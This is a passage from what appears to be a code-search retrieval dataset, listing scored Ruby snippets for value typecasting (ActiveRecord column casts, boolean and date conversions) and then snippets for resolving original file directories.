value.to_s\n when :integer then value.to_i rescue value ? 1 : 0\n when :float then value.to_f\n when :decimal then column_class.value_to_decimal(value)\n when :datetime then _cast_to_time(value, column_class)\n when :timestamp then _cast_to_time(value, column_class)\n when :time then _cast_to_time(value, column_class, true)\n when :date then _cast_to_date(value, column_class)\n when :binary then column_class.binary_to_string(value)\n when :boolean then column_class.value_to_boolean(value)\n else value\n end\n\n raise ArgumentError, \"Unable to typecast #{value} to #{type}\" unless _valid_class?(typecasted, type)\n\n typecasted\n end", "title": "" }, { "docid": "09cd43452987c408a446587c181aae9a", "score": "0.71476394", "text": "def cast_value(value)\n case value\n when String then decode_and_initialize(value)\n when Array then ensure_model_class(value)\n when nil then value\n else\n raise_cast_error(value)\n end\n end", "title": "" }, { "docid": "8fdd574865707d8183dc35956d66d3ae", "score": "0.7144034", "text": "def cast; end", "title": "" }, { "docid": "ccc1dfc036d59fa2827008b8b4f407e2", "score": "0.7127072", "text": "def type_cast(value)\n case value\n when Symbol, ActiveSupport::Multibyte::Chars, Type::Binary::Data\n value.to_s\n when true then unquoted_true\n when false then unquoted_false\n # BigDecimals need to be put in a non-normalized form and quoted.\n when BigDecimal then value.to_s(\"F\")\n when nil, Numeric, String then value\n when Type::Time::Value then quoted_time(value)\n when Date, Time then quoted_date(value)\n else raise TypeError, \"can't cast #{value.class.name}\"\n end\n end", "title": "" }, { "docid": "9b7e8e43b65e13b1d2475b54e1ce0cd6", "score": "0.71180487", "text": "def value_coercion(value); end", "title": "" }, { "docid": "ffb91615d0ccbed03e206c674d45d225", "score": "0.71134144", "text": "def type_cast(value)\n value\n end", "title": "" }, { "docid": "ffb91615d0ccbed03e206c674d45d225", "score": "0.71134144", "text": "def type_cast(value)\n value\n end", "title": "" }, { "docid": "1e16d8782ea9580c801134c33bdb1069", "score": "0.7112289", "text": "def type_cast(value)\n return nil if value.nil?\n case type\n when :key then options['as'] == :string ? value.to_s : value.to_i #If :as is provided, check if it's string, otherwise integer\n when :string then value.to_s\n when :text then value.to_s\n when :integer then value.to_i\n when :float then value.to_f\n when :decimal\n value = ActiveRecord::Type::Decimal.new.type_cast_from_database(value)\n if as_integer?\n (value * (10 ** self.scale)).round.to_i\n else\n value.to_s\n end\n when :datetime then ActiveRecord::Type::DateTime.new.type_cast_from_database(value)\n when :timestamp then ActiveRecord::Type::DateTime.new.type_cast_from_database(value)\n when :time then ActiveRecord::Type::Time.new.type_cast_from_database(value)\n when :date then ActiveRecord::Type::DateTime.new.type_cast_from_database(value)\n when :binary then ActiveRecord::Type::Binary.new.type_cast_from_database(value)\n when :boolean then ActiveRecord::Type::Boolean.new.type_cast_from_database(value)\n else value.to_s\n end\n end", "title": "" }, { "docid": "fd7c7d57a42651a92ae5798d3f246e3b", "score": "0.7082897", "text": "def typecasted_value\n typecaster ? typecaster.typecast(untypecasted_value) : untypecasted_value\n end", "title": "" }, { "docid": "8259b07956ea43eca81011e33836469f", "score": "0.7063615", "text": "def cast_value(v); end", "title": "" }, { "docid": "9ad5342df3cb36e7208f776117813d6c", "score": "0.7034742", "text": "def safe_value(obj)\n return nil unless obj\n\n return obj unless obj.respond_to?(:value)\n\n return obj.value unless obj.respond_to?(:datatype)\n\n cast(obj.value, obj.datatype)\n end", "title": "" }, { "docid": "b73cd4487999fdfafde7a175f7a5adc9", "score": "0.70141995", "text": "def typecast_value(column, value)\n return value unless typecast_on_assignment && db_schema && (col_schema = db_schema[column]) && !model.serialized?(column)\n value = nil if value == '' and typecast_empty_string_to_nil and col_schema[:type] and ![:string, :blob].include?(col_schema[:type])\n raise(Error::InvalidValue, \"nil/NULL is not allowed for the #{column} column\") if raise_on_typecast_failure && value.nil? && (col_schema[:allow_null] == false)\n begin\n model.db.typecast_value(col_schema[:type], value)\n rescue Error::InvalidValue\n raise_on_typecast_failure ? raise : value\n end\n end", "title": "" }, { "docid": "504dc83e37d7eab3a8ca42e85c53fb8f", "score": "0.7001563", "text": "def typecast_value value, type\n case type\n when *STRINGLIKE_TYPES\n value.to_s\n when :boolean\n !['false','0','f'].include? value.to_s.downcase\n when :int\n value.to_i\n when :double, :percent\n value.to_f\n when :date\n Date.parse value\n when :datetime\n DateTime.parse value\n else\n value\n end\n end", "title": "" }, { "docid": "c01c48b9c56f301bb3e207ae1ba0438f", "score": "0.6998279", "text": "def type_cast(raw_value)\n cast_value = @marshaler.type_cast(raw_value)\n cast_value = default_value if cast_value.nil?\n cast_value\n end", "title": "" }, { "docid": "3985b16cd73aa16dd14b5d454a1332ab", "score": "0.69919616", "text": "def type_cast(value)\n # FIXME: this should be recursive but it doesn't work with type_cast_code()... why does\n # ActiveRecord use type_cast_code ???\n if collection?\n return [] if value.nil?\n case type\n when :string then self.class.hash_to_string_collection(value)\n when :text then self.class.hash_to_string_collection(value)\n when :integer then self.class.hash_to_integer_collection(value)\n when :float then self.class.hash_to_float_collection(value)\n when :decimal then self.class.hash_to_decimal_collection(value)\n when :datetime then self.class.hash_to_time_collection(value)\n when :timestamp then self.class.hash_to_time_collection(value)\n when :time then self.class.hash_to_dummy_time_collection(value)\n when :date then self.class.hash_to_date_collection(value)\n when :binary then self.class.hash_to_string_collection(value)\n when :boolean then self.class.hash_to_boolean_collection(value)\n when :map then value\n when :object then value\n else hash_to_embedded_collection(value)\n end\n else\n casted_value =\n case type\n when :string then value\n when :text then value\n when :integer then value.to_i rescue value ? 1 : 0\n when :float then value.to_f rescue value ? 1.0 : 0.0\n when :decimal then self.class.value_to_decimal(value)\n when :datetime then self.class.string_to_time(value)\n when :timestamp then self.class.string_to_time(value)\n when :time then self.class.string_to_dummy_time(value)\n when :date then self.class.string_to_date(value)\n when :binary then self.class.binary_to_string(value)\n when :boolean then self.class.value_to_boolean(value)\n when :map then value\n when :object then value\n else hash_to_embedded(value)\n end\n # Make sure that the returned value matches the current schema.\n casted_value.is_a?(klass) ? casted_value : nil\n end\n end", "title": "" }, { "docid": "e7e6027206ef2e35e87c5397739ebe70", "score": "0.69915247", "text": "def untypecast(value, record)\n value\n end", "title": "" }, { "docid": "c6a3cd795315366933ee9461bdc4dbfa", "score": "0.69898576", "text": "def try_to_typecast(key, value)\n access = key.to_s\n if field = fields[key.to_s] || fields[aliased_fields[key.to_s]]\n typecast_value_for(field, value)\n elsif proper_and_or_value?(key, value)\n handle_and_or_value(value)\n else\n value\n end\n end", "title": "" }, { "docid": "8e4cd6b98713743fd6a8f8bfb563772a", "score": "0.6977938", "text": "def type_cast(value)\n return nil if value.nil?\n case @datatype\n when :string then value\n when :integer then value.to_i rescue value ? 1 : 0\n when :float then value.to_f\n when :datetime then parse_time(value)\n when :boolean then parse_boolean(value)\n else value\n end\n end", "title": "" }, { "docid": "affcbf07b74391dacd0e378e572afb56", "score": "0.6959731", "text": "def cast_scalar(data, type_name)\n return nil if data.nil?\n\n case type_name\n when 'Int'\n data.to_i\n when 'Float'\n data.to_f\n when 'Boolean'\n {'true' => true, 'false' => false}[data.to_s]\n when 'String'\n data.to_s\n when 'ID'\n data # could be Integer or String, depending on the AR adapter\n else\n raise \"Unknown type, #{type_name}\"\n end\n end", "title": "" }, { "docid": "57b85acbd12af28eaf8d61808313b4d3", "score": "0.69466424", "text": "def typecast(value)\n value\n end", "title": "" }, { "docid": "57b85acbd12af28eaf8d61808313b4d3", "score": "0.69466424", "text": "def typecast(value)\n value\n end", "title": "" }, { "docid": "ad6d4c78862c64000179d2e1db1dca10", "score": "0.6920586", "text": "def cast_value(value, type)\n return value if type == value.class\n case\n when type == Integer\n value.to_i\n when type == Float\n value.to_f\n when type == String\n value.to_s\n when type == Date\n value.to_date\n when type == Time\n value.to_time\n else\n type.new(value)\n end\n end", "title": "" }, { "docid": "a6ea582268439b317037f46f5c9496e7", "score": "0.6909938", "text": "def _type_cast_value(name, value)\n schema.type_for(name).cast(value)\n end", "title": "" }, { "docid": "d9774f1a984b37775781c3b676d2f675", "score": "0.68971986", "text": "def type_cast(val)\n return nil if val.nil?\n\n case type\n when :integer then val.to_i rescue val ? 1 : 0\n when :float then val.to_f\n when :boolean then val.to_s =~ /^(t|1|y)/i ? true : false\n when :datetime then DateTime.parse(val.to_s)\n when :array then val.is_a?(Array) ? val : JSON.parse(val)\n when :hash then val.is_a?(Hash) ? val : JSON.parse(val)\n else val\n end\n end", "title": "" }, { "docid": "fef70370389854e5391265145f5d4084", "score": "0.6890083", "text": "def typecast(arg)\n arg\n end", "title": "" }, { "docid": "a574212832ea0a6bae0c9a8e64ec1a41", "score": "0.6869652", "text": "def type_cast(value) # AR < 4.0 version\n return if value.nil?\n return super if respond_to?(:encoded?) && encoded? # since AR-3.2\n\n case sql_type\n when 'money'\n self.class.string_to_money(value)\n else super\n end\n end", "title": "" }, { "docid": "dea324e7d78dbdf1e92fcc54d4da9b7f", "score": "0.6865613", "text": "def typecast_value(val)\n val\n end", "title": "" }, { "docid": "0f39e4316f422e54ca839f555905bcc4", "score": "0.684833", "text": "def type_cast_value(type, value)\n return nil if value.nil?\n column = ActiveRecord::ConnectionAdapters::Column\n case type.to_sym\n when :string then value\n when :text then value\n when :integer then value.to_i rescue value ? 1 : 0\n when :float then value.to_f\n when :decimal then column.value_to_decimal(value)\n when :datetime then column.string_to_time(value)\n when :timestamp then column.string_to_time(value)\n when :time then column.string_to_dummy_time(value)\n when :date then column.string_to_date(value)\n when :binary then column.binary_to_string(value)\n when :boolean then column.value_to_boolean(value)\n else value\n end\n end", "title": "" }, { "docid": "91baa6f8799342d8d461bf115cb5cc76", "score": "0.6843563", "text": "def type_cast(value)\n return nil if value.nil?\n if type == :enum \n cast_enum_value(value)\n else\n super\n end\n end", "title": "" }, { "docid": "7918ccf8bfe6a67ddd4cb75fa278b584", "score": "0.68401474", "text": "def type_cast(value)\n converter = ActiveRecord::ConnectionAdapters::Column\n\n return nil if value.nil?\n case data_type.to_sym\n when :string then value\n when :text then value\n when :integer then value.to_i rescue value ? 1 : 0\n when :float then value.to_f\n when :decimal then converter.value_to_decimal(value)\n when :datetime then converter.string_to_time(value)\n when :timestamp then converter.string_to_time(value)\n when :time then converter.string_to_dummy_time(value)\n when :date then converter.string_to_date(value)\n when :binary then converter.binary_to_string(value)\n when :boolean then converter.value_to_boolean(value)\n else value\n end\n end", "title": "" }, { "docid": "f1882df22f9983b69407e35357d2ca11", "score": "0.68369", "text": "def convert (val)\n return nil if val.blank? and val != false\n if @type == String\n return val.to_s\n elsif @type == Integer\n return Kernel.Integer(val) rescue val\n elsif @type == Float\n return Kernel.Float(val) rescue val\n elsif @type == Boolean\n v = BOOLEAN_MAPPING[val]\n v = val.to_s.downcase == 'true' if v.nil? # Check all mixed case spellings for true\n return v\n elsif @type == Date\n if val.is_a?(Date)\n return val\n elsif val.is_a?(Time)\n return val.to_date\n else\n return Date.parse(val.to_s) rescue val\n end\n elsif @type == Time\n if val.is_a?(Time)\n return Time.at((val.to_i / 60) * 60).utc\n else\n return Time.parse(val).utc rescue val\n end\n elsif @type == DateTime\n if val.is_a?(DateTime)\n return val.utc\n else\n return DateTime.parse(val).utc rescue val\n end\n elsif @type == Array\n val = [val] unless val.is_a?(Array)\n raise ArgumentError.new(\"#{name} must be an Array\") unless val.is_a?(Array)\n return val\n elsif @type == Hash\n raise ArgumentError.new(\"#{name} must be a Hash\") unless val.is_a?(Hash)\n return val\n elsif @type == BigDecimal\n \treturn BigDecimal.new(val.to_s)\n else\n if val.is_a?(@type)\n val\n elsif val.is_a?(Hash) and (@type < EmbeddedDocument)\n return @type.new(val)\n else\n raise ArgumentError.new(\"#{name} must be a #{@type}\")\n end\n end\n end", "title": "" }, { "docid": "4522bf7daaf289d23984bca6cf6be84b", "score": "0.6827347", "text": "def typecast(value, record)\n value\n end", "title": "" }, { "docid": "c7bb7db933bcf494856804edfad9d6c2", "score": "0.6809498", "text": "def typecast(value)\n typecaster(value).apply(value)\n end", "title": "" }, { "docid": "5569ee87422be4060c05a3d6736435df", "score": "0.6799394", "text": "def cast(value)\n @type.cast(value)\n end", "title": "" }, { "docid": "cc0761a174d28124ee419e5db4a933c4", "score": "0.6796092", "text": "def typecast_value(column, value)\n return value unless @typecast_on_assignment && @db_schema && (col_schema = @db_schema[column])\n raise(Error, \"nil/NULL is not allowed for the #{column} column\") if value.nil? && (col_schema[:allow_null] == false)\n model.db.typecast_value(col_schema[:type], value)\n end", "title": "" }, { "docid": "0e4575244caa54fd7bcbdd5b34585ceb", "score": "0.67866415", "text": "def type_cast_for_schema(value); end", "title": "" }, { "docid": "0e4575244caa54fd7bcbdd5b34585ceb", "score": "0.67866415", "text": "def type_cast_for_schema(value); end", "title": "" }, { "docid": "4f5b62e4e362e8b3a965c1d0caeabd2a", "score": "0.67762685", "text": "def untypecasted_value\n read_attribute(:value)\n end", "title": "" }, { "docid": "4f5b62e4e362e8b3a965c1d0caeabd2a", "score": "0.67762685", "text": "def untypecasted_value\n read_attribute(:value)\n end", "title": "" }, { "docid": "55ac657af4805fd478549ea47fdcb3f9", "score": "0.6768296", "text": "def typecast_value(val)\n if subject.respond_to?(:typecast)\n subject.typecast(val)\n else\n val\n end\n end", "title": "" }, { "docid": "426bac4de70490a271ee65cd49050273", "score": "0.674603", "text": "def type_cast(value)\n return nil if value.nil?\n return coder.load(value) if encoded?\n\n klass = self.class\n\n case type\n when :string, :text then value\n when :integer then value.to_i rescue value ? 1 : 0\n when :float then value.to_f\n when :decimal then klass.value_to_decimal(value)\n when :datetime, :timestamp then klass.string_to_time(value)\n when :time then klass.string_to_dummy_time(value)\n when :date then klass.string_to_date(value)\n when :binary then klass.binary_to_string(value)\n when :boolean then klass.value_to_boolean(value)\n else value\n end\n end", "title": "" }, { "docid": "beada55bd38ac0566b370ef0d9944f63", "score": "0.67418426", "text": "def cast_value(type, value)\n case type\n when \"Fixnum\"\n value.to_i\n when \"String\"\n value\n when \"Float\"\n value.to_f\n when \"TrueClass\", \"FalseClass\"\n to_boolean(value)\n else\n raise RuntimeError, \"Unknown value type\"\n end\n end", "title": "" }, { "docid": "ab89449ff2800a96aec7ebd2a0f766f1", "score": "0.6705425", "text": "def type_cast(value)\n return nil if value.nil?\n case type\n when :geometry then self.class.string_to_geometry(value)\n else super\n end\n end", "title": "" }, { "docid": "048ed63f59480baaa24c115c5add809d", "score": "0.66691387", "text": "def cast(val)\n @cast_method ? val.send(@cast_method) : val\n end", "title": "" }, { "docid": "91062f82fcd6a3d5d9c85b56ad455a73", "score": "0.6665329", "text": "def type_cast(value)\n return nil if value.nil?\n return coder.load(value) if encoded?\n\n klass = self.class\n\n case type\n when :string, :text then value\n when :integer then klass.value_to_integer(value)\n when :float then value.to_f\n when :decimal then klass.value_to_decimal(value)\n when :datetime, :timestamp then klass.string_to_time(value)\n when :time then klass.string_to_dummy_time(value)\n when :date then klass.string_to_date(value)\n when :binary then klass.binary_to_string(value)\n when :boolean then klass.value_to_boolean(value)\n else value\n end\n end", "title": "" }, { "docid": "f6051070fd0411a9f1f2c6b53a283d98", "score": "0.66641116", "text": "def cast(value)\n value\n end", "title": "" }, { "docid": "d751e068ca181fd36df11a1de4865983", "score": "0.6651802", "text": "def value(*args)\n unless args.empty?\n @value_before_cast = args.first\n @value = @type ? self.class.convert_value_to_type(args.first, @type) : args.first\n end\n @value\n end", "title": "" }, { "docid": "b085b326a75207526b41a11009336ab4", "score": "0.664967", "text": "def casted_value\n case qtype.name\n when 'date' then date_value\n when 'time' then time_value\n when 'datetime' then datetime_value\n when 'integer' then value.try(:to_i)\n when 'decimal' then value.try(:to_f)\n when 'select_one' then option.try(:name)\n when 'select_multiple' then choices.empty? ? nil : choices.map(&:option_name).join(';')\n else value.blank? ? nil : value\n end\n end", "title": "" }, { "docid": "dbe2bb1aa84295d94d98b38dbfe3b9c4", "score": "0.6640766", "text": "def cast(value)\n value\n end", "title": "" }, { "docid": "7ef0d9022534ffa0f4170ed58276f639", "score": "0.66368514", "text": "def typecast(table, field_name, field_value, honor_func=false)\n if @meta_types.has_key?(table)\n\t\t\t\tif @meta_types[table].has_key?(field_name)\n case @meta_types[table][field_name].downcase\n when /int/, /serial/\n if type != 'interval' and type != 'point' # these type are not supported\n if honor_func and field_value.to_s.strip =~ /^\\w+\\(/\n typecast_value = field_value\n else\n typecast_value = field_value.to_i\n end\n else\n typecast_value = field_value.to_s.strip\n end\n when /float/, /double/, /money/, /numeric/, /decimal/\n if honor_func and field_value.to_s.strip =~ /^\\w+\\(/\n typecast_value = field_value\n else\n typecast_value = field_value.to_f\n end\n when /bool/\n if honor_func and field_value.to_s.strip =~ /^\\w+\\(/\n typecast_value = field_value\n else\n typecast_value = field_value.to_b\n end\n when /timestamp/, /date/\n typecast_value = field_value.to_s.strip\n when /var/, /char/, /text/\n typecast_value = field_value.to_s.strip\n else\n typecast_value = field_value.to_s.strip\n end\n else\n # pass through any field not found?\n typecast_value = field_value #raise \"table column, #{field_name}, does not exist\"\n end\n else\n # pass through if table not found?\n typecast_value = field_value #raise \"typecast table, #{table}, does not exist\"\n end\n return typecast_value\n end", "title": "" }, { "docid": "1b0a695d767407744121d67577c35586", "score": "0.6621891", "text": "def cast(val)\n methd = cast_method\n methd ? val.send(methd) : val\n end", "title": "" }, { "docid": "91071d110601bd599960a3e48d96dda3", "score": "0.66180974", "text": "def type_cast_from_database(value)\n value\n end", "title": "" }, { "docid": "4b693f5d3bd3eb7b74e93aa956a45e63", "score": "0.6612449", "text": "def uncast_attribute(value, type_name)\n case type_name\n when :integer then value.to_s\n when :float then value.to_s\n when :boolean then !!value\n else value\n end\n end", "title": "" }, { "docid": "dae0e6b94ede2d25ca1b11f18dad66bd", "score": "0.6609569", "text": "def convert(new_value)\n #If the value is set to be polymorphic, we don't have to convert anything.\n return new_value if @value_type.to_s == 'polymorphic'\n\n #ActiveRecord only converts non-nil values to their database type\n #during assignment\n return new_value if new_value.nil?\n\n parse_method = :\"parse_#{@value_type}\"\n\n if private_methods.include?(parse_method)\n send(parse_method, new_value)\n else\n Rails.logger.warn(\"Invalid Setting type: #{@value_type}\")\n new_value\n end\n end", "title": "" }, { "docid": "41f2f32db638a894ba97891aa4f50a89", "score": "0.6603404", "text": "def type_cast value\n #p \"cast #{value} to #{@type}\"\n column.type_cast value \n end", "title": "" }, { "docid": "d6c6e032d66c40ff2b050c8303b55dec", "score": "0.6600016", "text": "def cast(value)\n value\n end", "title": "" }, { "docid": "63b15df3b5bb3b1944283eeea4bb37ab", "score": "0.6579027", "text": "def type_before_coercion(record, attribute, value)\n record.try(:\"#{ attribute }_before_type_cast\") || value\n end", "title": "" }, { "docid": "6a18af6cdf9b3e49b80eb6950d2370da", "score": "0.6572749", "text": "def cast(object, type); end", "title": "" }, { "docid": "6a18af6cdf9b3e49b80eb6950d2370da", "score": "0.6572749", "text": "def cast(object, type); end", "title": "" }, { "docid": "628f67e100009e5146c9ec0f40e8a618", "score": "0.65461093", "text": "def cast(attribute_name, value)\n type = self.attributes[attribute_name][:type] || :string\n\n return nil if value.nil? && ![:string, :integer, :boolean, :float, :decimal].include?(type)\n \n begin\n case type\n when :string then (value.is_a?(String) ? value : String(value))\n when :integer then (value.is_a?(Integer) ? value : value.to_s.to_i)\n when :float then (value.is_a?(Float) ? value : value.to_s.to_f)\n when :decimal then (value.is_a?(BigDecimal) ? value : BigDecimal(value.to_s))\n when :time then (value.is_a?(Time) ? value : Time.parse(value))\n when :date then (value.is_a?(Date) ? value : Date.parse(value))\n when :datetime then (value.is_a?(DateTime) ? value : DateTime.parse(value))\n when :boolean then ([\"true\", \"1\"].include?(value.to_s))\n else value\n end\n rescue Exception => e\n raise StandardError, \"Invalid value #{value.inspect} for attribute #{attribute_name} - expected data type is #{type.to_s.capitalize} but value is a #{value.class} (Exception details: #{e})\" \n value\n end\n end", "title": "" }, { "docid": "5d86a642a8a4393ecdd194c0e199efa6", "score": "0.6532099", "text": "def convert(val, type)\n case type\n when :object then val\n when :string then val.to_s\n when :int then val.to_i\n when :float then val.to_f\n when :bool then val && (val != '0' || val != 'off')\n else raise \"Cannot convert #{val} into #{type}.\"\n end\n end", "title": "" }, { "docid": "e6f2803993badf3642edc526f7da182f", "score": "0.653038", "text": "def cast(type, value)\n case type\n when 'integer'\n Integer(value)\n else\n value\n end\n end", "title": "" }, { "docid": "a95e3078dbcdd5aea93162214f4c3fe8", "score": "0.65254736", "text": "def typecast_attribute(typecaster, value)\n value = nil if value.acts_like?(:string) && value.empty?\n super(typecaster, value)\n end", "title": "" }, { "docid": "a2a1d69733a545f9bf6bc4f034e25e8f", "score": "0.6518033", "text": "def cast(value, type)\n type = type.to_sym\n result = value.to_s\n case type\n when :integer; result = value.to_i\n when :int; result = value.to_i\n when :float; result = value.to_f\n when :bool; result = !!value\n when :boolean; result = !!value\n end\n return result\n end", "title": "" }, { "docid": "0e77b7dbebc15691a6d24d2bb808ab1e", "score": "0.6514892", "text": "def type_caster; end", "title": "" }, { "docid": "4a0598894b51ef2b5709e17d6f7c67a4", "score": "0.65144706", "text": "def typecast(value, type=nil)\n case\n when value.respond_to?(:js_code) && value.js_code?\n value\n when value.is_a?(String)\n value.to_json\n when value.is_a?(Integer) || value.is_a?(Float)\n value\n when value.is_a?(TrueClass) || value.is_a?(FalseClass)\n value.to_s\n when value.is_a?(DateTime) || value.is_a?(Time)\n if type == 'time'\n \"new Date(0, 0, 0, #{value.hour}, #{value.min}, #{value.sec})\"\n else\n \"new Date(#{value.year}, #{value.month-1}, #{value.day}, #{value.hour}, #{value.min}, #{value.sec})\"\n end\n when value.is_a?(Date)\n \"new Date(#{value.year}, #{value.month-1}, #{value.day})\"\n when value.nil?\n 'null'\n when value.is_a?(Array)\n '[' + value.map { |v| typecast(v) }.join(',') + ']'\n when value.is_a?(Hash)\n js_parameters(value)\n else\n value\n end\n end", "title": "" }, { "docid": "c8a4677485190342c28d870b5b0b837b", "score": "0.65093154", "text": "def cast_type_literal(type)\n CAST_TYPES[type] || super\n end", "title": "" }, { "docid": "db47230e26cff805c950be19c6c4d0f9", "score": "0.6495808", "text": "def db_cast(val)\n return nil if val.nil?\n\n val = case type\n when :boolean then val ? 'true' : 'false'\n when :array, :hash then val ? val.to_json : nil\n else val.to_s\n end\n\n val\n end", "title": "" }, { "docid": "885e2937f36e98cf027592ea7ff8d0e4", "score": "0.6492074", "text": "def typecast(x)\n dts = DataTypes.new\n\t\t\t\treturn nil if x == nil # if nil\n if @datatype\n if dts.valid?(@datatype, x)\n return dts.typecast(@datatype, x)\n end\n end\n return x \n\t\t\tend", "title": "" }, { "docid": "3aa82e402bff06b462e8f27867f39ce8", "score": "0.6490173", "text": "def cast(value)\n @cast_type.send(:cast_value, value)\n end", "title": "" }, { "docid": "8ad0d95e62b27fa63b07f215153bb13a", "score": "0.64790946", "text": "def type_cast(value, column)\n return super unless column\n case value\n when String\n if :binary == column.type\n # Send binary data as binary format\n { :value => value, :format => 1 }\n else\n super\n end\n else\n super\n end\n end", "title": "" }, { "docid": "8ad0d95e62b27fa63b07f215153bb13a", "score": "0.64786536", "text": "def type_cast(value, column)\n return super unless column\n case value\n when String\n if :binary == column.type\n # Send binary data as binary format\n { :value => value, :format => 1 }\n else\n super\n end\n else\n super\n end\n end", "title": "" }, { "docid": "cb7a1abcc12028a3fb0b023c0338fcf1", "score": "0.646927", "text": "def cast(klass, value)\n TYPES.each do |type|\n return CONVERT[type].call(value) if CHECK[type].call(klass)\n end\n # String, blank\n # remove carriage returns injected by textarea fields\n value.to_s.tr(\"\\r\", '')\n end", "title": "" }, { "docid": "0dfd522fb3d834a4799240caefa203d2", "score": "0.646278", "text": "def check_value!(value)\n # Allow nil and Strings to fall back on the validations for typecasting\n # Everything else gets checked with is_a?\n if value.nil?\n nil\n elsif value.is_a?(String)\n value\n elsif value.is_a?(expected_type)\n value\n else\n raise TypeError, \"Expected #{expected_type.inspect} but got #{value.inspect}\"\n end\n end", "title": "" } ]
41d236f9b802c093a988d57b6b92c2ea
Returns the directory where original is stored.
[ { "docid": "bfff2f05cb4e03f85b05babde404920e", "score": "0.8595898", "text": "def original_dir\n File.dirname original\n end", "title": "" } ]
[ { "docid": "4cbd050185bca84aec6520e8efbdfc39", "score": "0.8183909", "text": "def original_dir\n application.original_dir\n end", "title": "" }, { "docid": "4cbd050185bca84aec6520e8efbdfc39", "score": "0.8183909", "text": "def original_dir\n application.original_dir\n end", "title": "" }, { "docid": "4cbd050185bca84aec6520e8efbdfc39", "score": "0.8183909", "text": "def original_dir\n application.original_dir\n end", "title": "" }, { "docid": "4cbd050185bca84aec6520e8efbdfc39", "score": "0.8183909", "text": "def original_dir\n application.original_dir\n end", "title": "" }, { "docid": "4cbd050185bca84aec6520e8efbdfc39", "score": "0.8183909", "text": "def original_dir\n application.original_dir\n end", "title": "" }, { "docid": "7779c77357bb8bc5fd5e10c65839d4fd", "score": "0.81239194", "text": "def original_dir\r\n application.original_dir\r\n end", "title": "" }, { "docid": "6f6ec52bd7261923347508e2abc31b87", "score": "0.77714986", "text": "def original_dir; end", "title": "" }, { "docid": "6f6ec52bd7261923347508e2abc31b87", "score": "0.77714986", "text": "def original_dir; end", "title": "" }, { "docid": "71ba90ee699bc0cd46518a59d6a384b3", "score": "0.74659747", "text": "def original_path\n File.join(directory_path, filename)\n end", "title": "" }, { "docid": "71ba90ee699bc0cd46518a59d6a384b3", "score": "0.74659747", "text": "def original_path\n File.join(directory_path, filename)\n end", "title": "" }, { "docid": "2d5764042b73d4665f04a58132333e91", "score": "0.72799677", "text": "def path_for original\n current_output_directory.join(relative_path_of(original, settings[:input]))\n end", "title": "" }, { "docid": "069c09eaa852c6ef6defea94183293aa", "score": "0.7246278", "text": "def original_file_path\n File.join(directory_path, self.filename)\n end", "title": "" }, { "docid": "d110d64b5bb7fc4ae717a0e080cf8fdf", "score": "0.7212154", "text": "def directory_path\n self.file.store_dir\n end", "title": "" }, { "docid": "4431b4794d7ba19a82d88008130d5875", "score": "0.7176549", "text": "def path_for original\n current_output_directory.join(daily_directory_for(file_time_by_filename(original).strftime(settings[:ordered_time_pattern]), original)).join(relative_path_of(original, settings[:input]))\n end", "title": "" }, { "docid": "782054faf6b96b6e2082025c72db3a1f", "score": "0.71415854", "text": "def store_dir\n Mastiff.attachment_dir\n end", "title": "" }, { "docid": "caf79ef244f8cb455b9e0c0d9333ab7d", "score": "0.7035284", "text": "def store_dir\n \"#{Rails.configuration.attachments_dir}/#{model.id}/original/\"\n end", "title": "" }, { "docid": "e973d41cb1d5e899b5e9200f9d066d73", "score": "0.6979014", "text": "def path\n @path ||= File.join(@dest_root, \"original\", @metadata.root, @metadata.slug_name + @metadata.ext)\n end", "title": "" }, { "docid": "e0ec06b7cc7ec9af9c247bf33a07d026", "score": "0.6976131", "text": "def get_file_directory\n return @directory\n end", "title": "" }, { "docid": "68e0637301d4e6cd8a3bea8fc6ce5573", "score": "0.6955693", "text": "def initial_directory()\n @initial_directory = nil if !defined?(@initial_directory)\n return @initial_directory\n end", "title": "" }, { "docid": "bcc14c14f6cb56df6b43b4be2d9936ff", "score": "0.69497776", "text": "def original_dir(druid)\n object_dir('original', druid)\n end", "title": "" }, { "docid": "65997059fd542df8e5e3f374d7ea78e5", "score": "0.68813", "text": "def parent_directory\r\n File.join(%w{C: work})\r\n end", "title": "" }, { "docid": "da7111b5809b0b630a67516e96d3a367", "score": "0.68735987", "text": "def dirname\n rebuild(@path.dirname).as_directory\n end", "title": "" }, { "docid": "a40a1770ad90909b4cc88e7bdf80690e", "score": "0.6809773", "text": "def get_directory\n if !@filename.include?(\"/\") # single file name\n \"#{Dir.pwd}\"\n elsif @filename[0,1] == \"/\" # absolute path\n \"#{@filename.split(\"/\")[0..-2].join(\"/\")}\"\n else # relative path\n \"#{Dir.pwd}/#{@filename.split(\"/\")[0..-2].join(\"/\")}\"\n end\n end", "title": "" }, { "docid": "11b4c1296f6a05db456145e9aa4b3d49", "score": "0.67801803", "text": "def determine_directory path\n @file_system.dirname path\n end", "title": "" }, { "docid": "fccd5e4d21f7fd35c283f543a55a471c", "score": "0.6743679", "text": "def root_directory\n return File.expand_path('../..', self.image.path)\n end", "title": "" }, { "docid": "be1a593fc06b99d78b61412413a05a10", "score": "0.67297274", "text": "def directory\n @directory.path\n end", "title": "" }, { "docid": "cbb3427c68de7531eff0b6b1e31d47a6", "score": "0.6723464", "text": "def managed_directory\n @path\n end", "title": "" }, { "docid": "447504464f31b1569fb4837a75cd0079", "score": "0.6717014", "text": "def dir\n File.dirname(filename)\n end", "title": "" }, { "docid": "c7a6fa5bbf85dd0edda789088159f54d", "score": "0.67123127", "text": "def get_default_dir\n absolute = File.expand_path @source\n path = File.dirname absolute\n name = File.basename absolute\n File.join( path, \"#{name}-archives\" )\n end", "title": "" }, { "docid": "814ee2d67a6990767f236bbc28691ec6", "score": "0.67099875", "text": "def get_directory\n local_dir = File.expand_path('~/.f4r')\n if File.directory?(local_dir)\n local_dir\n else\n File.expand_path('../config', __dir__)\n end\n end", "title": "" }, { "docid": "6468c543f018632fb6e5d5ee6dff9d64", "score": "0.6701483", "text": "def current_dir\n if file_pipeline.empty?\n Origen.file_handler.base_directory\n else\n Pathname.new(file_pipeline.last).dirname\n end\n end", "title": "" }, { "docid": "cc7183d625ef1adf14e4b5b42bb36fcd", "score": "0.67011744", "text": "def dir_path\n installer ? installer.config.installation_root : Dir.pwd\n end", "title": "" }, { "docid": "e09d310eba5facb48269cb9f28cf937c", "score": "0.6676136", "text": "def src_dir\n return model.src_dir\n end", "title": "" }, { "docid": "8440db5d6885d853070e9b463917557f", "score": "0.6671095", "text": "def directory\n @directory ||= workdir\n end", "title": "" }, { "docid": "0defe7325e3306f7cc9a4ab200f467da", "score": "0.6659339", "text": "def dir\n File.dirname(complete_path)\n end", "title": "" }, { "docid": 